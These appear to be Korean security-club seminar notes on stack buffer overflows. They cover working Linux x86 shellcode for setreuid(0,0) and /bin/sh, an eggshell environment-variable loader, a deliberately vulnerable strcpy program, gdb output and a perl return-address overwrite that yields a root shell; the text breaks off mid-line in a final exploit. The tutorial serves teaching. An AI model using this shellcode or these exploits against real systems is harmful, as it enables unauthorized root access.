윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

Similar documents
hlogin2

PowerPoint Template

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Deok9_Exploit Technique

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Microsoft Word - FunctionCall

Microsoft Word - readme.doc

History

슬라이드 1

Microsoft Word - building the win32 shellcode 01.doc

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

BOF Foundation.doc

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

No Slide Title

RTL

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Return-to-libc

PowerPoint 프레젠테이션

<52544CC0BB20BEC6B4C2B0A12E687770>

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

강의10

Fedora Core 3,4,5 stack overflow.docx

"Analysis of the Exploitation Processes"

hlogin7

금오공대 컴퓨터공학전공 강의자료

Microsoft PowerPoint - a8a.ppt [호환 모드]

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

PowerPoint 프레젠테이션

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

PowerPoint 프레젠테이션

Microsoft Word - FreeBSD Shellcode 만들기.docx

PowerPoint 프레젠테이션

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

BufferOverflow on Solaris Sparc

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

chap 5: Trees

IDA 5.x Manual hwp

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft PowerPoint - chap01-C언어개요.pptx

PowerPoint 프레젠테이션

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

PowerPoint 프레젠테이션

11장 포인터

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

PowerPoint 프레젠테이션

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

vi 사용법

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

Microsoft Word - ExecutionStack

Smashing The Stack For Fun And Profit by Aleph One

ABC 11장

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

슬라이드 1

Microsoft PowerPoint - System Programming Lab Week1.ppt [호환 모드]

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

untitled

Microsoft PowerPoint - ch07 - 포인터 pm0415

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

PowerPoint 프레젠테이션

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

6주차.key

BMP 파일 처리

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

Microsoft PowerPoint - hy2-12.pptx

Contents 1. 목적 풀이 Level

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

Chapter 4. LISTS

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

Chapter #01 Subject

Execute_Shellcode_on_the_MacOSX.txt - 메모장

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

Microsoft Word - Static analysis of Shellcode.doc

Cogame 취약점 보고

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

OCW_C언어 기초

01.The basics technic of Shellcode Excuse the ads! We need some help to keep our site up. List Shellcode The basics of shellcode(ubuntu-16.04) C ASM M

Sena Technologies, Inc. HelloDevice Super 1.1.0

Linux Binary Hardening with Glibc Hyeonho Seo

Microsoft PowerPoint - secu10.pptx

Microsoft PowerPoint - chap6 [호환 모드]

임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

Transcription:

- Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 -

< BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top) 가필요 - FUll 스택 : 마지막의데이터를가리키는방식 - Empty 스택 : 스택의꼭대기를( 다음의데이터가들어올곳을가리키는) 스택 - Ascending 스택 : 스택이낮은메모리에서높은메모리로올라가는형태의스택 - Dscending 스택 : 높은메모리에서낮은메모리형태로내려가는스택 * Intel 은 Full Dscending Stack 형태이다 - push, pop이라는명령어제공 - esp는스택의맨꼭데기를가리키는레지스터제공 - ebp는스택프레임의시작점을가리키는레지스터제공 - stack 의용도 임시데이터저장 지역변수할당 함수호출관련정보전달 - 실행파일도포맷을갖는다 윈도우즈 : PE파일포맷 리눅스 : ELF 파일포맷 기본적으로헤더 섹션테이블 섹션들 로형성이되는데실행파일이실행이되면스택영역이생기게된다 int b; int main() int a; ->b는전역변수이기때문에섹션의 data 영역에있을것이고, a 는지역변수이기때문에스택영역에있을것이다 (b의주소를따라가다보면 data 영역, a의주소를따라가다보면 stack 영역) - 스택의사용(redhat 72) # vi stackc int func(int a, int b, int c, int d) char buff[100]; int main() func(1,2,3,4); return 0; - gdb 사용해서공부해라 # gdb -q stack disas main - 2 -

disas func IASoftwareDevelopersmanualpdf IASoftwareDevelopersmanual-instructionpdf theartofassemblyalnguagepdf push %ebp : ebp 에담겨져있는값 - push 의목적 백업( 상수값을 push 하는것은백업이아니다 근처에 ebp 가변경되는명령이있으면 함수에아규먼트전달, 지역변수할당 mov a, b : 윈도우에서는 b 의값을 a 로저장리눅스에서는 a 의값을 b 로저장 Unix 계열 (ATNT 방식 ) 에서는저장되는레지스터가항상뒤에위치한다 윈도우즈는반대 - 함수콜링컨벤션 ex) 함수호출에관한규약 - 아규먼트전달방법 * 레지스터를이용 * 스택을이용 아규먼트전달순서 - 좌측에서우측으로또는우측에서좌측으로전달하라 리턴값전달 - eax 레지스터사용 stack clearing 을누가하는가? - caller function( 호출하는함수) - callee function( 호출당하는함수) 생략시 stdcall 방식이사용된다 stdcall 스택을이용, 우측에서좌측으로전달, eax, caller 가한다 cdecl 스택을이용, 우측에서좌측으로전달, eax, callee가 stack clearing 수행 fastcall 레지스터를이용, 전달순서는무관, eax, stack clearing 불필요 func(1,2,3,4) stdcall push 4 push 3 push 2 push 1 방식으로하면 call func 이렇게된다 - call 과 jmp의차이 call은기존의 eip값을백업을하고 jmp 는백업을하지않는다 - 3 -

push mov %ebp %esp,%ebp -> 함수프롤로그 다 모든함수는자신만의스택프레임을갖는데스택에저장된값들은절대주소번지를이용하여읽을수없 스택의시작점은프로세스마다바뀔수있다 -> offset 값을이용 기준점이있어야한다 esp 또는 ebp 를기준으로읽을수있다 esp 는계속바뀔수있기때문에 ebp 를기준으로한다 ebp 는변경이안된다 esp 를기준으로하면컴파일러가변경되는것을전부추적해야하기때문에어려 움이따르지만요새는지원을다한다 ebp 를기준으로하면위의함수프롤로그과정이항상나온다 sub $0x78, %esp : 지역변수를할당, 스택의크기를늘려준다 함수내에 char buf[100] 있으면 buf라는배열의크기를먼저잡아주고 esp 가배열의시작점이된다 메인함수내의 때문이다 sub $0x8, %esp는지역변수가없는데도스택의크기를늘려주는이유는컴파일러의특성 2 취약한프로그램분석 Segmentation fault : 접근할수없는메모리영역을침범하였을때에러메시지 - break point 로디버깅하기 프로그램끝날때 ret 부분을 br 을건다 gdb) b *main+30 // 브포 gdb) run ` perl -e 'print "A"x200' ` 브포에서멈춤 gdb)info registers // 레지스터의값들을볼수있다 gdb)info registers esp // 특정레지스터보기 gdb) x/10wx $esp // 스택의내용을보기(10 번반복, 워드단위로 16진수로 esp 의내용을찍어라) 또는 x/10wx <esp 의시작주소> gdb) info register ebp gdb) b *main+29 r `perl -e 'print "A"x200'` info rgister ebp gdb) x/wx $ebp+4-4 -

41414141 // return add 가바뀌어있다 gdb) x/25ex $ebp-100 // 전부 41414141 로덮여있다 strcpy() 는 NULL 을만날때까지무조건복사하기때문에 바운더리체크를하지않고스택의어딘가에 복사를하는 bof 의취약점은스택의내용을카피시작지점부터마음대로스택의내용을조작할수있다 ret 주소값을변조하면프로그램의흐름을제어할수있다 윈도우의경우 SEH 핸들러를덮어쓰는방법을많이쓴다 - ret 어드레스를조작 시작지점에서 * ret 바로위까지의거리가얼마인지먼저알아야한다 대충때려맞춰보는방법 * disas 을사용 - 첫번째아규먼트의주소는항상 ebp+8 이다 b *main+29 // leave 에브포 run ` perl -e 'print "A"x124 "BBBB"' ` x/wx $ebp+4 42424242 로변경되어있다 -> 위의예서 120+4(sfp) 가 ret 시작지점이다 - Entry Point 를먼저찾아야한다 1 return address overwrite 어셈블리어로쉘코드를만든후기계어로변환 # 유닉스쉘코드만들기 - 시스템콜만을이용하여만들어야한다 시스템콜 : OS 에게일을시키기위한일종의인터페이스( 함수의모양이지만함수는아니다) execve : exec 에관련된시스템콜 ( # man 3 exec 참조) l v, p e // 반대개념끼리는같이쓰이지않는다 list vector path enviroment exec ( 실행시킬파일명, 아규먼트, 환경변수) vi sh01c #include <unistdh> void main() char *shell[2]; shell[0]="/bin/sh"; shell[1]=null execve(shell[0], shell, NULL); < 참고># echo -n "/bin/sh" od -h -> /bin/sh 를아스키값으로보여준다 # vi sh02c void main() - 5 -

- 리눅스에서 system call 호출방법 인터럽트활용(128 번, 0x80) eax : 시스템콜번호 -> /usr/include/asm/unistdh ebx : 첫번째 argument ecx : 두번째 argument edx : 세번째 argument int $0x80-6 - asm volatile ( "push $0x0068732f // /sh\0 "push $0x6e69622f // /bin "mov %esp, %ebx // /bin 의주소값을얻어냄 (esp 는 /bin 을가리킴)- 아래참조 "push $0x0 // NULL "push %ebx // 아래 system call호출방법참조 "mov %esp, %ecx // " "mov $0x0, %edx // " "mov $0xb, %eax // execve의시스템콜번호 11번을 eax로 "int $0x80 ); => 그런데여기까지는문제가있다 0 이라는문자들때문이다 기계어코드에는많은 NULL 문자 (0) 들이나타난다 기계어코드는 NULL 이후로는무시해버리기때문에 NULL 문자들을제거하는작업들을해야한다 예) mov $0x0, %edx 같은지점같은경우 * 특정레지스터에 0을넣는방법 위와같이 mov를이용 xor %eax,%eax -> 가장많이사용( 사이즈를줄이기위해서) # vi sh03c void main() asm volatile ( // asm (" 문자열 ); C언어에서 asm코드작성방법 "xor %eax,%eax "push %eax "push $0x68732f2f // //sh "push $0x6e69622f // /bin "mov %esp, %ebx "push %eax "push %ebx "mov %esp, %ecx "mov %eax, %edx "mov $0xb, %al "int $0x80 ); asm volatile ( 문자열 ); => asm (" 문자열 ); C언어에서 asm코드작성방법 volatile => 최적화하지말고있는그대로실행해라는컴파일러에게지시하는지시자 - 기계어코드로변환하기 (objdump ) gdb) x/x main 로볼수도있다 # objdump -d sh03 egrep '<main>' -A 20 > shtxt 로저장된기계어코드를이용 vi 에서먼저모든탭삭제후(%s/\t//g), 23 바이트이후로잘라내고(%!cut -b 1-23), : 를기준으로 두번째필드만남기고(%!cut -d ':' -f 2), 'J' 로한줄로만든다음, 한칸씩띄우고(%!tr -s ' '), 공백에 \x를 추가(%s/ /\\x/g) 하고, 맨앞에 \x' 추가, 맨뒤 \x' 삭제 편집은자신이편한대로하면된다

char shell[]=" 위에서작성된기계어코드 ; int main() void(*sh)(void) = (void(*)())shell; (*sh)(); -> 컴파일후실행하면 shell 획득!! char shell[]=" 위에서작성된기계어코드 ; int main() int *ret; ret = (int*)&ret+2; *ret = shell; < 참고> metasploit으로쉘코드만들기 -> null 문자가있다 아래와같이한다 < 변환된기계어로쉘코드를만들면된다> < 알아둘것 > 리눅스는스택의시작이고정되어있다 (0xc0000000) 윈도우즈는매번변한다 - 7 -

- root 권한요청코드추가 위의쉘코드실행파일을 tmp로복사후 setuid 를준후실행을시켜서확인을한번더해본다 id를쳐보자 root 권한인가??? 쉘코드전에소유자의권한을요청하는코드가있어야한다 아래와같이한줄추가하고오른쪽과같이하면프로그램소유자의권한을따오게된다 - 기계어코드로만들기 먼저 /usr/incluse/asm/unistdh 에서 setreuid의시스템콜번호를알아보면 70 번이다 위에서만든 sh03c에서 setreuid 가하는코드를추가해줘야한다 시스템콜을할때첫번째인자는 ebx 에, 두번째인자는 ecx 에넣어줘야한다는걸기억하자 setreuid(0,0) 이므로 mov $0x0,%ebx mov $0x0,%ecx 일까?? 틀린것은아니지만위에서알았던것처럼 NULL(00) 문자를제거해줘야한다 앞서알아본것처럼 xor을이용하여 00 을제거해보자 xor %eax,%eax mov %eax,%ebx mov %eax,%ecx mov #0x46,%al int $0x80 이와같은코드를 좀더완벽한코드를위해서공격자가 sh03c 의앞부분에붙여넣어주면된다 overflow공격을수행하고나서프로그램의정상적인종료를위해서 exit(0) 이필요할수있다 깔끔한마무리를위해서마지막에 exit(0) 을추가해주는것이좋다 xor %eax,%eax mov %eax,%ebx mov $0x1,al int $0x80 코드의아랫부분에왼쪽의코드를붙여넣어주자 void main() asm volatile ( "xor %eax,%eax "mov %eax,%ebx - 8 -

"mov %eax,%ecx "mov $0x46,%al "int $0x80 "xor %eax,%eax "push %eax "push $0x68732f2f "push $0x6e69622f "mov %esp,%ebx "push %eax "push %ebx "mov %esp,%ecx "mov %eax,%edx "mov $0xb,%al "int $0x80 "xor %eax,%eax "mov %eax,%ebx "mov $0x1,%al "int $0x80 ); <setretud(0,0), exit(0) 이추가된어셈코드> 이제기계어코드로변환하여코드를수정하여보자 역시 objdump 를이용하여저장된기계어코드를편집기로적절히이용하여만들면된다 # objdump -d sh03 egrep '<main>' -A 25 코드를실행시켜보자 # BUffer OverFlow 공격 - 오버플로우의핵심은스택/ 힙의데이터를많이입력했을때메모리의영역의내용을조작할수있다는게핵 심!! return add 를덮어쓰는건가장쉽기때문에처음에배우는것이다 윈도우즈에경우는 SH 를덮어쓰는방법을선호한다 - 사용자가입력한데이터를스택의영역에넣는데바운더리체크에실패했을때 ret add를덮어씌워서하는 것이 - 방법 stack 오버플러우의핵심 - 9 -

1 Direct Inject - 버퍼에 NOP코드를입력하여추측 2 eggshell - 쉘코드를환경변수로등록한다 - 등록한환경변수에다쉘코드를넣은다음취약한프로그램에환경변수의어드레스를 return address에 넣어줌으로써쉘코드가실행하게할수있다 - 쉘코드가들어갈만큼버퍼의크기가넉넉하지못할때유용하게사용 - 환경변수는스택의아랫부분에존재한다 - 환경변수역시스택보다높은메모리에위치한다 - 처음부터끝까지전부 ret 어드레스이다 # 환경변수에쉘코드를넣는방법과환경변수가위치한 address 를알아야한다 아래코드를보자 [/home/slaxcore/bof_lab/eggshell]$cat eggshellc #include <stdlibh> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char *shellcode="\x31\xc0\x89\xc3\x89\xc1\xb0\x46\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53" "\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" "\x31\xc0\x89\xc3\xb0\x01\xcd\x80"; // exit(0) // setreuid(0,0) unsigned long get_esp(void) asm volatile ("movl %esp,%eax"); // esp의 address를 return void main(int argc, char *argv[]) char *ptr, *egg; long *addr_ptr, addr; int offset=default_offset, bsize=default_buffer_size; int eggsize=default_egg_size; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(egg = malloc(eggsize))) printf("can't allocate memory\n"); // NOP와쉘코드를넣을버퍼생성 exit(0); addr = get_esp() - offset; // stack pointer를얻어옴 printf("egg's address : 0x%x\n", addr); // EGG의 esp를얻어옴 addr_ptr = (long *) ptr; - 10 -

for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; // NOP 으로먼저채우고 for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; // 남은공간을쉘코드로채움 egg[eggsize - 1] = '\0'; memcpy(egg,"egg=",4); putenv(egg); // egg라는환경변수로등록 system("/bin/bash"); // 환경변수가등록된쉘실행 위코드를실행시켜면 egg배열에들어있는데이터를 putenv() 함수를통해 EGG 환경변수로등록한다 EGG 라는환경변수가생성이됨으로서스택세그먼트의높은위치에있는환경변수의크기가늘어나게 되고 main함수의 base pointer 는그만큼낮은위치에자리잡게된다 확인을위하여간단한취약점을가진공격대상프로그램이필요한데이프로그램을 gdb를사용하여 eggshellc를실행하기전의 ebp 의위치와, 실행한후의 ebp 위치를비교해봄으로써확인해볼수있다 [/home/slaxcore/bof_lab/eggshell]$cat vulc int main(int argc, char *argv[]) char buf[256]; strcpy(buf,argv[1]); 왼쪽은바운더리체크를하지않는 strcpy() 함수를 갖는간단한취약점을가진대상프로그램이다 ebp 의위치를비교해보면아래와같다 - eggshell을실행하기전 ebp : 0xbffffab8 - eggshell을실행한후 ebp : 0xbffff2a8 2064byte 의차이가있다 EGG환경변수의크기가 2064byte 라는의미이다 따라서 main함수에서사용되는스택역시 2064 byte 아래에서시작될것이다 eggshell 을실행시켜서환경변수가잘등록되었는지 확인해보면잘등록이되어있는것을볼수있다 이 상한문자들은 NOP 라고보면되겠다 이는 return 될때 EIP를 EGG가위치하는주소를가리 키게하면가득한 NOP에의해 Instruction Pointer는계 속흘러가다가쉘코드가시작되는지점에서쉘이실행이 - 11 -

될것이다 환경변수가잘등록된걸확인했으니이제취약점을갖 고있는프로그램을이용해공격을해보자 참! 공격하기전에취약점프로그램을분석해보자 return address의위치를알아야 return address 를조작하여공격에성공할수있기때문이다 gdb를이용하여 vulc의버퍼의크기를확인하고 [/home/slaxcore/bof_lab/eggshell]$gdb -q vul (gdb) disas main Dump of assembler code for function main: 0x8048460 <main>: push %ebp 0x8048461 <main+1>: mov %esp,%ebp 0x8048463 <main+3>: sub $0x108,%esp // 스택의크기가 0x108(264) 만큼확장 0x8048469 <main+9>: sub $0x8,%esp // gcc의특성상 0x8 만큼더확장( 중요하지않음) 0x804846c <main+12>: mov 0xc(%ebp),%eax 0x804846f <main+15>: add $0x4,%eax 0x8048472 <main+18>: pushl (%eax) 0x8048474 <main+20>: lea 0xfffffef8(%ebp),%eax 0x804847a <main+26>: push %eax 0x804847b <main+27>: call 0x804834c <strcpy> 0x8048480 <main+32>: add $0x10,%esp 0x8048483 <main+35>: leave 0x8048484 <main+36>: ret 0x8048485 <main+37>: lea 0x0(%esi),%esi 0x8048488 <main+40>: nop 0x8048489 <main+41>: nop 0x804848a <main+42>: nop 0x804848b <main+43>: nop 0x804848c <main+44>: nop 0x804848d <main+45>: nop 0x804848e <main+46>: nop 0x804848f <main+47>: nop End of assembler dump (gdb) return addree 의위치를파악해보자 vulc의스택의크기가 0x108(264) 만큼확장되었다 이는소스코드의 buf[256] 크기에더미값 8byte가합 쳐져서 0x108 만큼확장된것이다 바로아래 sub $0x8,%esp 는 gcc 버전상의특징으로크게신경쓰지않 아도될것이다 이제 vulc의 return address 의위치를계산할수있겠다 확장된스택의크기 (264byte) + sfp(4byte) 까지덮어쓰고그이후 4byte 가 return address 의위치 일것이라예상할수있다 실제로테스트해보면 vulc 을 267byte까지 A 문자를버퍼로복사했을때정상적으로실행이되지만 268byte를복사하면 segmentation fault 메시지가나는것을확인할수있다 - 12 -

268byte에서 Segmentation fault 가일어나므로 268byte 까지가버퍼 + dummy + sfp 일것이다 왜 267byte까지가아니라 268byte 까지일까?? 그이유는 AAAA 라는문자열끝에 NULL 문자때문이다 268byte 까지(buff+sfp) 는 AAAAA 라는문자열이채워지고마지막에 NULL(\0) 문자가 return address를건 드렸기때문이다 자 이제프로그램의취약점을이용하여공격을해보자 공격에성공하여 root 쉘이떨어진걸확인할수있다 공격은쉘스크립트언어인 perl 을이용하였다 eggshell 코드를 perl 언어로만들면공격이더쉬워질수도있을것이다 그리고 little endian방식으로 return address 를덮어썼다는걸유의하자 좀더자세한이해를위해서 gdb 를이용하여디버그를해보자 확인할내용을정리해보면아래와같다 - eggshell을실행한후 overflow가일어나기전의 ebp의위치와 EGG환경변수의등록여부 - eggshell이출력한 address에무엇이들어있는지확인 - 쉘코드가들어있는위치파악 - overflow가발생하기전의 ebp+4(ret) 가가르키고있는주소와 overflow가발생한후의 ebp+4 에서가르키고있는주소(return address 가제대로바뀌었는지) 먼저 eggshell 을실행한후 overflow 가일어나기전의 ebp 의위치와 EGG 환경변수의등록여부를살펴보자 [/home/slaxcore/bof_lab/eggshell]$/eggshell EGG's address : 0xbffffa68 [slaxcore@localhost Eggshell]$ gdb -q vul (gdb) disas main Dump of assembler code for function main: 0x8048460 <main>: push %ebp 0x8048461 <main+1>: mov %esp,%ebp 0x8048463 <main+3>: sub $0x108,%esp 0x8048469 <main+9>: sub $0x8,%esp 0x804846c <main+12>: mov 0xc(%ebp),%eax 0x804846f <main+15>: add $0x4,%eax 0x8048472 <main+18>: pushl (%eax) 0x8048474 <main+20>: lea 0xfffffef8(%ebp),%eax 0x804847a <main+26>: push %eax 0x804847b <main+27>: call 0x804834c <strcpy> 0x8048480 <main+32>: add $0x10,%esp 0x8048483 <main+35>: leave 0x8048484 <main+36>: ret 0x8048485 <main+37>: lea 0x0(%esi),%esi 0x8048488 <main+40>: nop 0x8048489 <main+41>: nop 0x804848a <main+42>: nop 0x804848b <main+43>: nop 0x804848c <main+44>: nop 0x804848d <main+45>: nop - 13 -

0x804848e <main+46>: nop 0x804848f <main+47>: nop End of assembler dump (gdb) br *main+3 // 함수프롤로그가끝난후에 break point 를건다 Breakpoint 1 at 0x8048463 (gdb) br *main+32 // strcpy함수를호출한후 overflow가발생한후에 break point 를건다 Breakpoint 2 at 0x8048480 (gdb) r `perl -e 'print "A"x268,"\x68\xfa\xff\xbf"'`//overflow 공격을시도한다 Starting program: /home/slaxcore/bof_lab/eggshell/vul `perl -e 'print "A"x268,"\x68\xfa\xff\xbf"'` Breakpoint 1, 0x08048463 in main () // 프롤로그가끝난직후에정지한다 (gdb) info registers ebp // ebp 의내용을본다 ebp 0xbffff198 0xbffff198 (gdb) 위의상황을그림으로그려보면 eggshell이출력한 EGG의주소는 0xbffffa68 이고, 그보다낮은메모리영역 에 ebp 의주소(0xbffff198) 에위치하고있다 이것은위에서 10page에서확인했다시피확인을해보면 ebp의위치는 EGG 가정상적으로환경변수로등록이되었다면그크기만큼낮은메모리위치에 있는걸확인할수있다 계속진행하여이제 overflow가발생하기전과발생한후의 return address 의값을비교하여보자 return address값은 ebp보다 4byte 위에있을것이다 따라서 ebp+4 의값을확인해보면아래와같다 overflow가발생하기전의 overflow가발생한후의 return address : 0x40042507 return address : 0xbffffa68 0xbffffa68은처음에 eggshell 이출력한주소와일치하는값이다 따라서의도대로 있다 return address를정확하게덮어쓴것을확인할수 좀더자세한메모리의상황을살펴보자 먼저 ebp와 ebp+4(return) 의값을 overflow가발생하기전과후를비교해보면의발생전의 ebp에는 0xbffff1d8 이, ebp+4에는 0x40042507이들어있지만 overflow가발생한후의 ebp에는 0x41414141 이, ebp+4에는 0xbffffa68 이들어있다 0x41414141은더미값으로채운 AAAA 문자열이고, 0xbffffa68은 조작한 return address 이다 아래그림을보면알것이다 return address 를따라가보자 먼저 overflow가발생하기전의 return address(0x40042507) 를따라가보면 libc 함수영역으로써함수명 - 14 -

을보아도 main 함수가실행되는것이라예상할수있다 overflow가발생한후의 return address(0xbffffa68) 를따라가보면 0x90909090 이가득하다 NOP이 위치하고있음을알수있다 NOP 가계속흘러가다쉘코드를실행시키는부분을알수있을것이다 0xbffffa68에서부터워드단위로 500 개를찍어보자 NOP이계속흘러흘러가다가쉘코드가시작되는 위치를발견할수있다 (gdb) x/500wx 0xbffffa68 0xbffffa68: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa78: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa88: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa98: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffe48: 0x90909090 0x89c03190 0xb0c189c3 0x3180cd46 0xbffffe58: 0x2f6850c0 0x6868732f 0x6e69622f 0x5350e389 확인결과쉘코드가시작되는주소는 0xbffff34d 이다 0xbffffa68보다낮은주소값들을보아도 NOP 이상당히많은걸볼수있을것이다 이유는정확하지않은 return 값이라도환경변수영역에만들어오면자연스레쉘코드가실행될수있게하기위해서다 여러가지확인을해본결과 main함수가실행을마치고 return 될때 EIP는 EGG가있는위치를가리키게 될것이고쉘코드가실행이되어 root 쉘을획득할수있게되는것을알수있다 - 15 -

3 NOP 없이 ret 어드레스를추측할수있는방법 - 16 -

vi a_1c #include <stdioh> #include <unistdh> int main(int argc, char *argv[], char *envp[]) char buff[100]; printf("%s\n",envp[0]); printf("%s\n",envp[1]); printf("my pid is %d\n",getpid()); sleep(1000000); vi ac #include<stdio,h> #include<stdlibh> #include<unistdh> int main(void) char *argv[] = "/a_1",null; char *env[] = "WE=XSTONE","BUG=STUDY",NULL; execve(argv[0],argv,env); return 0; ac를컴파일하고 gdb 를실행시킨다 (gdb)attach <ac를컴파일하여실행하여나온 -- 나온주소에서정지가된다 pid> (gdb)x/1000wx $esp : esp가가르키는지점으로부터 1000 개워드만큼찍어낸다 스택의마지막인아래부분에서딱보면아스키문자들같다 x/10s 0 xbfffffec : 스트링으로찍어보면 -- 위소스코드에서보았던환경변수와 argv[0] 의값이보인다 -- 조금더위를찍어보면역시소스코드의환경변수가등록되어있는것을볼수있다 -- 스택의모습을보면아래와같다 - 17 -

-------- 환경변수 [0] -> WE=XSTONE -------- 환경변수 [1] -> BUG=STUDY\0 -------- argv[0] -> /a_1\0 -------- 00000000 -------- -> 0xc0000000 이것으로보아 nop 없이처음만나게되는환경변수의위치를알수있다 0xc0000000 - strleng(argv[0]) - 4byte(0000000) - strlength( 환경변수 ) - 2byte( 널문자 ) # 버퍼시작부터 ret add 까지 offset 을알아내는방법 1 디스어셈블을통해서 - 취약점이존재하는 vul 프로그램을분석하여 gdb -q vul (gdb) disas main strcpy 가무엇을무엇으로복사하는지를봐라 strcpy는아규먼트가 2개이기때문에위어서 push 두개만찾으면된다 - 위에서분석한것을토대로만든익스플로잇 ( 연구가더필요함) vi nop_pubc #include <stdioh> #include <stdlibh> #include <unistdh> #define BUFSIZE 100 #define szsfp 4 #define szret 4 char shell[]=" 기계어코드"; int main(void) char buf[bufsize + szsfp + szret + 1]; char *argv[] = "/vul", buf, NULL; char *env[] = "HOME=BLA", shell, NULL; unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(argv[0]) - strlen(shell) - 0x02; memset(buf, 0x41, sizeof(buf)+4); /* buf가포인트하는메모리를 NULL에관계없이무조건 109+4 만큼의공간에 A 문자를채움 buf의주소가리턴되어옴 */ memcpy(buf+bufsize+4, (char *)&ret, 4); /* ( 복사대상주소, 소스메모리위치, 